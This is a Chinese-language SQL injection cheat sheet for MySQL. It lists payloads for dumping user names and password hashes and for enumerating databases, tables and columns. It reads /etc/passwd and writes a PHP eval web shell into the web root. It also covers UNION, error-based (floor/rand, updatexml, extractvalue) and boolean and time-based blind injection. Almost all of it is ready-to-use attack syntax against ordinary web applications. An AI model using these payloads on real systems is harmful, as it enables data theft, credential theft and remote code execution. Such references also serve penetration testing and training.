更新日期-2020-11-10
0x00 MySQL
0b0000 常用信息及语句
所有用户查询:select group_concat(user) from mysql.user`` 可能会加上limit 0,1
用户hash:select group_concat(password) from mysql.user where user='root' 5.7之后则是
authentication_string,而不是password
所有数据库:select group_concat(schema_name) from information_schema.schemata
表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来:select group_concat(table_name) from information_schema.table_constraints where table_schema='库名'
字段名:select group_concat(column_name) from information_schema.columns where table_name='表名'
字段值:select group_concat(字段名) from 表名
字段值(跨库):select group_concat(字段名) from 库名.表名
读文件:select load_file('/etc/passwd')
写文件:select <?php @eval($_POST[1]);?> into outfile '/var/www/html/shell.php'
0b0001 UNION(联合)注入
猜字段长度:order by number --+ 如下图,当number小于等于字段数,则返回正常
暴字段位置:?id=' union select 1,2,3,4,number --+number为字段数的最大值,要让id后面的值为假才行
0b0010 报错注入
floor()报错,实际上是由rand(),count(),group by三个函数语句联合使用造成的:
1.concat: 连接字符串功能
2.floor(): 取float的整数值(向下取整)
3.rand(): 取0~1之间的随机浮点值
4.group by: 根据一个或多个列对结果集进行分组并有排序功能
5.floor(rand(0)*2): 随机产生0或1
实际使用语句:and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 注:payload为实际攻击语句,输出限制为64字节
xpath语法报错,mysql在5.1.5之后,提供了updatexml和extractvalue两个函数,updatexml则负责修改查询到的内容,而extractvalue负责在xml文档中按照xpath语法查询节点内容。
实际使用语句:and updatexml(1,concat(0x7e,(payload),0x7e),1) 注:payload为实际攻击语句,输出限制为32字节
实际使用语句:and extractvalue('anystring',concat(0x7e,(payload),0x7e)) 注:anystring为任意字符串,payload为实际攻击语句,输出限制为32字节
0b0011 盲注
0b0011-a:布尔盲注(bool盲注)用于页面不返回报错信息,只有right和wrong。
实际使用:
1.left(a,b): left(database(),1)='char' 注:database()显示数据库名称,left(a,b)从左侧截取a
的前b位,char为关键字,下同。
2.regexp: select database() regexp '^char' 正则表达式的用法,user()结果为root,regexp为匹配
root的正则表达式。
3.like: select user() like 'char%' 与regexp相似,使用like进行匹配。
4.substr和ascii: ascii(substr((select database()),1,1))=num substr(a,b,c)从b位置开始,
截取字符串a的长度,ascii()将某个字符转换为ascii值,num为字符的ascii值。
5.ord和mid: ord(mid((select database()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位
ord()函数同ascii(),将字符转换为ascii值。
0b0011-b:时间盲注(base time)用于页面不返回报错信息,也没有right和wrong。
实际使用:
1.if(condition,sleep(5),1) 注:condition替换为实际sql语句,如:left(database(),1)='char'。
2.case when condition then do1 else do2 end 注:condition同1所述,do1和do2表示执行语句。